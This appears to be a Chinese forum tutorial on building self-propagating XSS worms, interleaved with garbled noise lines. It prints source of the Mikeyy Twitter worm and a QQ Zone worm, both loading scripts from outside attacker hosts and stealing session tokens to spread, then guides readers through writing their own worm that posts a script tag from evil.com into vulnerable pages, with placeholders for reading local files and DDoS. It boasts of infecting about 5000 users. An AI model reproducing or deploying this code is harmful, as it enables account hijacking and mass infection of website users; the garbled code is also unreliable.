) V4 v% K6 }3 [
<script>
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
复制代码案例:Twitter 蠕蟲五度發威
第一版:
  下载 (5.1 KB)
8 i6 Z5 h% B3 ~5 ^. y
5 d6 @+ ?! [/ H6 天前 08:27
# P- A' ?4 O+ a5 [* T$ D, k
第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  

1 z9 [# p6 X* x' \- F% @) w' ]   2.   

   3. function XHConn(){  
; _% G! R8 P" d; O& ]( w
1 |, @9 x; S! w/ _5 H6 B2 x   4.   var _0x6687x2,_0x6687x3=false;  
9 [- F5 _+ W" o5 A9 [
1 E" \7 O% q4 m& v4 [2 x8 a   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  

   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  
8 J8 @8 w2 K$ H
# r6 D, g+ |2 e6 A8 o- y! ~% C; i   8.   catch(e) { _0x6687x2=false; }; }; };  
复制代码第六版:   1. function wait() {  
5 S3 p  u- j, |
   2.   var content = document.documentElement.innerHTML;  

   3.   var tmp_cookie=document.cookie;  

# b. F6 A# v1 a$ Q" ?$ E# V2 j* ]   4.   var tmp_posted=tmp_cookie.match(/posted/);  

   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

: u/ R: L7 k# C2 C9 z   6.   var authtoken=authreg.exec(content);  
/ r# E5 ~' F9 H8 A0 V7 \9 ^
   7.   var authtoken=authtoken[1];  
6 V; r& O6 ^" ^
( u$ y$ g6 E4 Q3 y7 j   8.   var randomUpdate= new Array();  

   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
0 I# E# D  @. ^; o' P9 `' y0 A$ p
  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

8 l5 n* }" k% ?/ D2 _* F. ?  R  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  

" \1 Z6 E2 J9 N( i  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  

7 f/ {  b; w/ g4 U5 I' ~0 f  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  
  Y! s* y1 M, G
  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
3 d3 E0 g% o6 _1 D9 l/ y
  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  

! F% k- {& Y  p  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  

  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  
" a! t) ?3 h% _6 M. @
% [! }  `2 A6 X! `9 W  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
' ~! @( v6 \  K" Y% ]
2 D  E8 s: O9 U: k# O  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  

  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  

  24.     
) N+ Z; Z8 X( @: S
: d: _6 k, ~$ q/ N' ?) U/ q  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
3 x: e; a: o( y1 B! U
9 O. |. G5 ~1 C! H  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

  27.     

  28.   var ajaxConn= new XHConn();  

4 s4 L' S, r  u' [0 b7 V  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
( i; c4 i% B/ N! Q' q1 L
  30.   var _0xf81bx1c="Mikeyy";  

& H$ z8 R& D4 C9 q0 j  31.   var updateEncode=urlencode(_0xf81bx1c);  

  32.   var ajaxConn1= new XHConn();  
9 s! \2 u7 \( z. }  M! a: F" q
  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  
- `, l$ v+ W: F: X
  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  
5 l, U! d+ N" |5 C  {
' m; C+ F/ s# x6 n1 Q  35.   var XSS=urlencode(genXSS);  

  36.   var ajaxConn2= new XHConn();  
9 D! q) h+ a2 n8 a0 Y5 F
  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  
4 ^, R6 x0 y0 d) B- t- g; v; ]% E
4 \8 F; k/ v. j  38.     

  39. } ;  
7 N  e* p! W3 E0 u2 ]0 [, ^
  40. setTimeout(wait(),5250);  
: T, a$ D* K' k# D% U9 p6 K复制代码QQ空间XSSfunction killErrors() {return true;}

window.onerror=killErrors;


% r6 t' Z  t& n1 t( \7 Z5 o
  q9 D7 o$ ]2 _- Y: N) }var shendu;shendu=4;
0 x% O& V+ U- [3 x. d3 @! s
//---------------global---v------------------------------------------
. v2 f. I+ y9 m) w  l3 l1 M
, t0 m7 k' i' [; \" M6 y//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？

var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

  G& v- J2 R* D8 K2 F( @: E* ?var myblogurl=new Array();var myblogid=new Array();
% _% L  Y! G7 B. F+ w
        var gurl=document.location.href;
# Y6 N. M* u$ ?# f: [, Z- [
3 j$ X& F8 X( Q& ]6 J8 D        var gurle=gurl.indexOf("com/");
5 Y. ]: {' y  [9 J
        gurl=gurl.substring(0,gurle+3);        
3 |! p) C: F' s9 F* ~  M" r- C$ J5 p
0 u4 u  K3 j( u! t& ]+ ?" ~/ J* ]        var visitorID=top.document.documentElement.outerHTML;

           var cookieS=visitorID.indexOf("g_iLoginUin = ");

        visitorID=visitorID.substring(cookieS+14);

1 w6 Y0 G: V2 e6 I5 [# V        cookieS=visitorID.indexOf(",");

: T3 W. v9 _- r# t2 N8 `        visitorID=visitorID.substring(0,cookieS);

        get_my_blog(visitorID);
5 j3 D' J, Y; `% e! u7 J) c
        DOshuamy();

1 ^3 D( F9 y0 \0 I( c" H- i: B2 G8 ^' i
; z2 d# c) n) B! b4 v* u
/ F4 k; }" D& Z  [  M: m) D//挂马

function DOshuamy(){
; X5 Z8 W  \% H
* _; L  u+ t) E  Rvar ssr=document.getElementById("veryTitle");
2 o6 ^7 c& E8 T4 C! r" q
ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");

}
: C; Q$ p1 }  A6 _: v


8 V9 ]5 q: g+ M4 A//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？
9 [' e9 r5 K  H( }
function get_my_blog(visitorID){
, u. C& g. ~5 i( T. y9 C' K
   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
, [9 ]" l/ [8 V! }* ^
% N7 e4 ?; M" [8 R   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象

   if(xhr){    //成功就执行下面的

     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
* R1 ^( ]* h6 j# k( {& T
( [6 z" W" I  G+ H& ]     xhr.send();guest=xhr.responseText;

     get_my_blogurl(guest);    //执行这个函数
! J2 b3 n4 w0 M
) V+ ]2 |% A# R% d; b    }

}



3 {0 @( B' i) l9 [6 r  s6 l7 W$ R//这里似乎是判断没有登录的
; G0 Y# q" A9 s$ E0 b
6 Q$ x" z, N8 H* S0 `, Rfunction get_my_blogurl(guest){
/ f8 H" e+ _" F$ j$ I
  var mybloglist=guest;
) d4 A" \: c: w8 G* `
  var myurls;var blogids;var blogide;
2 {+ B/ C% a6 Z! L/ Q
8 N, ?, [+ U0 l  for(i=0;i<shendu;i++){

     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了
: d$ C. l+ f% @2 t. y/ Q0 R! Q
     if(myurls!=-1){    //找到了就执行下面的
3 i) P) }# H! C! T+ p9 D
/ }5 h% V5 }. C7 N5 |0 f. K         mybloglist=mybloglist.substring(myurls+11);
3 ?' B2 G3 j; w3 q
         myurls=mybloglist.indexOf(')');

3 R( |% F% ^7 q+ J         myblogid=mybloglist.substring(0,myurls);
* Z) L- w6 Q6 p9 U9 ]
        }else{break;}

}

get_my_testself();    //执行这个函数
8 L0 u" c8 g  ?$ ~$ w
}


7 h* ?' ~) h+ Q1 \
/ K+ p7 U* ?2 l* j  q//这里往哪跳就不知道了
3 e8 G& i) ~& _
' o; }- F4 N' E: I$ Q9 zfunction get_my_testself(){

  for(i=0;i<myblogid.length;i++){    //获得blogid的值

      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
* l6 h; r! t# b+ n' o2 S) p
8 A' I, Y2 @+ Z6 e+ M3 T' H      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象
$ Z; O1 c4 I+ |
. x. r( {$ N# F) C( X, P- b- V9 T      if(xhr2){        //如果成功

9 B7 ^, D3 F& E% `- k              xhr2.open("GET",url,false);     //打开上面的那个url
, t( c/ E( Q8 c
              xhr2.send();
$ n0 u0 l5 G9 x
              guest2=xhr2.responseText;

+ ^' O: s8 ?3 i9 _8 Z' i# a              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？

              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
4 _! f# q- c1 U6 F* u
              if(mycheckmydoit!="-1"){    //返回-1则代表没找到

8 Y. Y0 R; d4 W                targetblogurlid=myblogid;   
( ^. D1 b" v  g5 v7 n2 V2 {# `/ b
2 R; [0 L# p. \: |) @: Z4 Y& F                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它
2 c: k+ k6 K7 p
                break;
% p. Z$ V% H$ N
8 P  P  \' y- N8 @) r8 H               }
- t% h  }- e" h* s1 L
              if(mycheckit=="-1"){

                targetblogurlid=myblogid;
8 J8 _% S7 l! V; H: g) i" n" a# K! q: b
                add_js(visitorID,targetblogurlid,gurl);    //执行它

0 K# j% [( x- a) c" \                break;
+ j0 [3 x5 n4 q6 ~& G9 i
               }
  _, H2 |6 S& l' t# G4 A' f  `8 B
        }      
; V5 E6 l" w% q, V- t$ `9 `, H
}

}
  r, j9 M- D, F) j* M: o
) M. }0 V; k- W* N9 M7 L- s
. [! y3 x* B8 e0 |- y
. p* o% C; p  [" b, d7 E//--------------------------------------  
# P* U5 W; K, w9 G7 p; X: W
//根据浏览器创建一个XMLHttpRequest对象

9 \6 u9 y) S) R7 y) rfunction createXMLHttpRequest(){
+ P) I" {! p% W' |1 N; k
0 U1 B8 N+ i" k    var XMLhttpObject=null;  

5 [; h' j. j  t$ P" m9 V    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  

& Q% t  p. v1 O    else  

, K( }& a7 f) w& i3 h; ?0 ]* D      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
* o& Q' y# `) S; v1 A- O( U
5 f4 m" G7 Y  S" L5 f        for(var i=0;i<MSXML.length;i++)  

& s. D; M! A* z  {        {  

' Z2 }# q  P3 O5 x' _            try  
8 Q) @; f/ y" R4 U: [5 h
4 J4 S" `4 ^/ `- \4 g, C1 c1 `            {  

- s# l/ {% X! [; }. o7 Q                XMLhttpObject=new ActiveXObject(MSXML);  
+ ?+ z+ y, I# p6 a7 O7 h
" A' s; w6 p$ a- M$ h5 ]) f- \' y, x                break;  
& @# z$ k' k4 A: {8 Q
; A5 N2 j! P# y8 q            }  
. J7 u6 E8 |. ^8 B
8 k' J% h% X# ^5 n  D            catch (ex) {  

8 j4 h8 G1 L* C, e7 f+ d; o            }  

$ B+ [9 `: d' r0 N, ]# G1 V/ h         }  

      }

% ?% B( ^/ J  u  [% a. Areturn XMLhttpObject;
: w2 D, g2 w( Q7 j' }/ h5 e8 b  W
}  

" x; ~: i7 _5 H7 Z! G+ Q
8 `( n, S- V- B4 R
* c' |$ P1 F" g9 e& d) f/ T//这里就是感染部分了

function add_js(visitorID,targetblogurlid,gurl){
4 c7 M# n7 Q5 [: y
var s2=document.createElement('script');
& M' ^) H) E! v$ k4 j0 \
' A  z1 R! s) k* y+ \* _6 q/ B' c2 Ms2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
( Z. {8 ?6 K" t1 y
s2.type='text/javascript';
2 I8 @) ~3 k+ D8 H5 v
: k) s: i+ j0 p2 idocument.getElementsByTagName('head').item(0).appendChild(s2);
' J) K8 S" c2 Y$ @
5 b' d1 G/ @' R6 q}

/ S  B  j! e. T& N
5 Z- b5 g* e6 g' b0 s4 w
2 r5 {8 Z+ Y. a) U5 [7 wfunction add_jsdel(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');
0 `0 `5 G+ i0 i
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';
! F+ R9 Y4 f- w0 D3 Z3 e1 S. I) ~
document.getElementsByTagName('head').item(0).appendChild(s2);

}
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
4 A  M. m! ~0 h. m1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
. W5 A" N8 B( n
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
) ]) H7 k- L; K4 E. k& [
% P& X- g1 Z; m& p- t综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
! X3 Q3 }3 A# X

下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.

: e) [2 H, K: U9 Y9 n首先,自然是判断不同浏览器,创建不同的对象var request = false;

if(window.XMLHttpRequest) {

/ \; U( U+ g7 L3 ]& O% a. L7 Nrequest = new XMLHttpRequest();

! u! w+ G$ H. m  x: \  ?if(request.overrideMimeType) {
9 f8 v( Z' b0 \/ g0 T& u1 k7 \
request.overrideMimeType('text/xml');
7 _! b$ L9 _  q2 O8 w
/ |) ]6 W5 R; C: B; q5 u8 A0 b}

6 i+ U# k+ k0 B0 R+ o/ z# x} else if(window.ActiveXObject) {

var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
, |( A# \0 i4 c6 G( Z/ s3 }
for(var i=0; i<versions.length; i++) {

try {
* d2 d# A: G2 m" ~& n6 Q3 P
request = new ActiveXObject(versions);
/ L! B9 F0 ~9 ?4 Y2 r: A% ?4 ]
. g, ?! m9 j$ S4 W8 h} catch(e) {}
; }8 {* K" Q, n: B& f3 y
; E/ R  U7 G! C# i% ]0 B$ B' M1 r}

}

$ D# c: T! Y* T3 p9 u+ C6 e, dxmlHttpReq=request;
- e5 s# m( [5 t复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){
& ?/ i& Y# o/ S; |+ X" f; s$ D/ R% S
5 r* h' ~/ B# q0 A2 A% f. _1 I        var Browser_Name=navigator.appName;

3 [8 [, }' N' V3 V        var Browser_Version=parseFloat(navigator.appVersion);

; M7 s' p2 R0 A6 |        var Browser_Agent=navigator.userAgent;
$ t+ _( K: x! J3 j+ Q' w
        
. {* W( C1 Q; R$ y% v- v4 x' ^% G
0 m1 G* @. q$ i% `  E        var Actual_Version,Actual_Name;

        
, f& o9 ^. O/ f4 F0 w0 A
! D- R: C+ d- M3 F; _" [        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
+ X+ d& p' A0 S/ M3 E( J
! t! ]4 }2 t; \3 p/ D! v        var is_NN=(Browser_Name=="Netscape");

$ ?8 [" p2 D7 W        var is_Ch=(Browser_Name=="Chrome");

4 m9 G; U( X1 {, _. M! r. H5 f- ]        
6 O! u; d# e" U) L$ m$ l. P
        if(is_NN){
; h, g" a+ w1 H2 t6 v: l
1 I3 Z1 i5 G% W% A) c            if(Browser_Version>=5.0){

                var Split_Sign=Browser_Agent.lastIndexOf("/");

, U* l6 c: D! }5 Z; q! y                var Version=Browser_Agent.indexOf(" ",Split_Sign);

                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
. u; F+ h3 w7 H: y! [6 a


3 K, W/ O/ y" D$ q; K                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
  z" {) ]" M' Z) G! O
1 v: P" J* c" I/ Z                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);

            }
, g5 W: D0 R2 N' C+ G1 k. A
            else{

                Actual_Version=Browser_Version;
1 g) _! K  b3 E' f# S3 \1 ~5 x
, q: h' ^5 Y# R8 n7 K; c                Actual_Name=Browser_Name;
( v/ N6 }9 r. c' ^! X
            }
: J7 e  X( B( E) Y* t! V  K
, ~% b: f* x( ]        }
# h% S4 t* m9 X0 U% G, X5 |8 @
        else if(is_IE){

            var Version_Start=Browser_Agent.indexOf("MSIE");

8 q8 x. L& C7 b/ x) w: V1 d$ g8 y            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

            Actual_Name=Browser_Name;
0 ]+ \* T2 u  f' f
            

            if(Browser_Agent.indexOf("Maxthon")!=-1){

4 Y& I" n" c  a3 o                Actual_Name+="(Maxthon)";

            }
4 p5 p& o) j9 x& _6 H# d6 {# F
$ m; p+ n$ ]4 i2 V+ W            else if(Browser_Agent.indexOf("Opera")!=-1){
% X. G+ K* l# P* h% Q4 w1 ~) E
+ L7 V5 H9 f/ f* P4 S                Actual_Name="Opera";
# U' P9 c: u/ a# [7 F
+ j  b/ n6 {1 u                var tempstart=Browser_Agent.indexOf("Opera");

                var tempend=Browser_Agent.length;
/ `9 D& S& A# j8 r6 v) q$ E1 [' R. a
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }

        }
! ]+ u  A4 c4 \+ b" H( x
2 {# Y# u( t* V- d, X, i9 }) v        else if(is_Ch){
! v3 c  B& s" [$ L2 Y' y. X
            var Version_Start=Browser_Agent.indexOf("Chrome");
. P; [) q. V( r9 w: h
            var Version_End=Browser_Agent.indexOf(";",Version_Start);
/ G1 Y1 M+ g) L- r4 I
: o  W  B3 D9 d! C            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
) I' ~' p* |% t
            Actual_Name=Browser_Name;

            
- l; u" n& u$ {% _
            if(Browser_Agent.indexOf("Maxthon")!=-1){
$ c" ^: l+ g  k8 f5 F0 h
                Actual_Name+="(Maxthon)";
8 J6 N2 N6 i2 ^
. D( M- B! C& n/ v/ j4 c# B            }
# {4 X* h" {8 c' i, w. R
            else if(Browser_Agent.indexOf("Opera")!=-1){

9 b: A. A* L  H/ e                Actual_Name="Opera";
" ]4 t7 s: |  x! t0 \& k: N. L8 d+ S
1 m$ Z3 B: j/ `( t( D) D                var tempstart=Browser_Agent.indexOf("Opera");
5 ^' c9 r' I2 E" `3 [
& {+ e7 h9 Q% e. o                var tempend=Browser_Agent.length;

                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }
: K! N9 g) C* N! E% k
. g. w1 @# F  V  s/ G: V. ^        }
. U$ S% `8 }) N4 r) u+ t# w- C
        else{
) f+ O0 V3 n5 @; o7 `9 ?& R" ?3 v
            Actual_Name="Unknown Navigator"
/ m& u3 x6 f+ E3 j( \+ e* Q
2 A1 P9 a! a& V* j/ J4 J            Actual_Version="Unknown Version"
+ F- i2 r2 S& Y6 a
        }
: S7 ?' h# J8 _% {, v* m% O$ c

0 o$ d& y8 s3 w2 g  `
' ^) f& D$ F  p! \9 {# l        navigator.Actual_Name=Actual_Name;

        navigator.Actual_Version=Actual_Version;
: u; }& b3 v  o) O
        
# ^5 j% A' H- J' s+ _% K
        this.Name=Actual_Name;

0 ]! f' g0 h; C& f9 n" y/ A3 B3 A        this.Version=Actual_Version;

    }
5 T) ]! D2 P* U# _, Y  V. q4 o. }# @
: m; Q: d! E" I    browserinfo();
; B; t) V) x- M! T8 k+ K
; i/ n+ M! [; J& D2 J: y    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}

$ e* g& O" ~: V& I; S    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
5 [9 P2 d! u' [' d- d
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
4 X4 t! c; D( N4 G8 E7 v2 G
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
( ?& x* X6 u% g复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
7 [  u, N7 l( Y" W( k复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.
" L( Y( O6 I- S! H; v
. F* I8 G/ ~+ }' ?xmlHttpReq.send(null);

( L. r( s3 J2 [, r+ Zvar resource = xmlHttpReq.responseText;
1 q3 C9 _" Z7 _
! I, I& |; k# d1 r: ivar id=0;var result;

9 b: d3 w) [' {* B- `var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.

while ((result = patt.exec(resource)) != null)  {
0 w2 j7 w* t5 D0 s2 L' }3 z
! ]% u( H4 q* ~0 W3 sid++;
5 o- `# x* M* W
}
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.
& d* U% [; i( T
9 o  w5 ]$ Q  Vno=resource.search(/my name is/);

var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
! i" m3 w6 Z3 d1 [" r
  M, `9 d4 g! }; \1 S1 Svar post="wd="+wd;

8 A- o" Y0 x% r, j$ l. {xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

% x# ~9 C2 v. j% e1 d: o; jxmlHttpReq.setRequestHeader("content-length",post.length);

3 Q7 u2 B0 e/ F6 ]4 }& vxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

7 p$ D$ r. Z& D3 P9 f; CxmlHttpReq.send(post);
4 c5 @  m4 K* k5 G1 \2 n
2 x( F+ L, o. L3 D5 N}
' w( j% h' F  s- S  S. J复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{

0 }) ]' r; c) a) [" C7 Xvar no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

6 h" ]- E! k9 Z, `var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.

/ J2 ~7 _3 n/ O2 [2 {var post="wd="+wd;

xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
" {  H7 F( T8 }1 C3 u
/ s. i1 {0 C/ V/ ~$ exmlHttpReq.setRequestHeader("content-length",post.length);
$ T2 y" K8 A7 `$ V1 A% n7 R$ ?+ M. }
) }2 `4 M) I$ w4 b8 KxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

5 ?! `3 V+ O+ M" m9 Z2 l+ axmlHttpReq.send(post);                 //把传播的信息 POST出去.
1 r& K5 g/ q5 i3 p4 c
}
9 a6 R; ^2 s( f复制代码-----------------------------------------------------总结-------------------------------------------------------------------

; }7 w; A. W/ j7 E; ^2 y2 Q

+ U4 A2 T9 J& G( `1 p: ]. e. j, t本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
  Y- N4 _- W( N, {: n3 D* N
! v- d8 K2 }8 k  W; p, }
" \$ K+ J5 q0 y


# O9 m  Q: u; s
' g; j9 y. T$ Y" H0 P

本文引用文档资料:
" `6 l7 _2 @( Y8 i. Y5 `0 D
( s3 L/ L0 c4 Z  I2 y+ |"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
" m. V$ W$ v; }* ?/ Z" Y* YOther XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
) Q7 y/ Q8 x8 \http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
6 L2 c2 g2 _3 I空虚浪子心BLOG http://www.inbreak.net
2 g! q1 M+ s' r6 _Xeye Team http://xeye.us/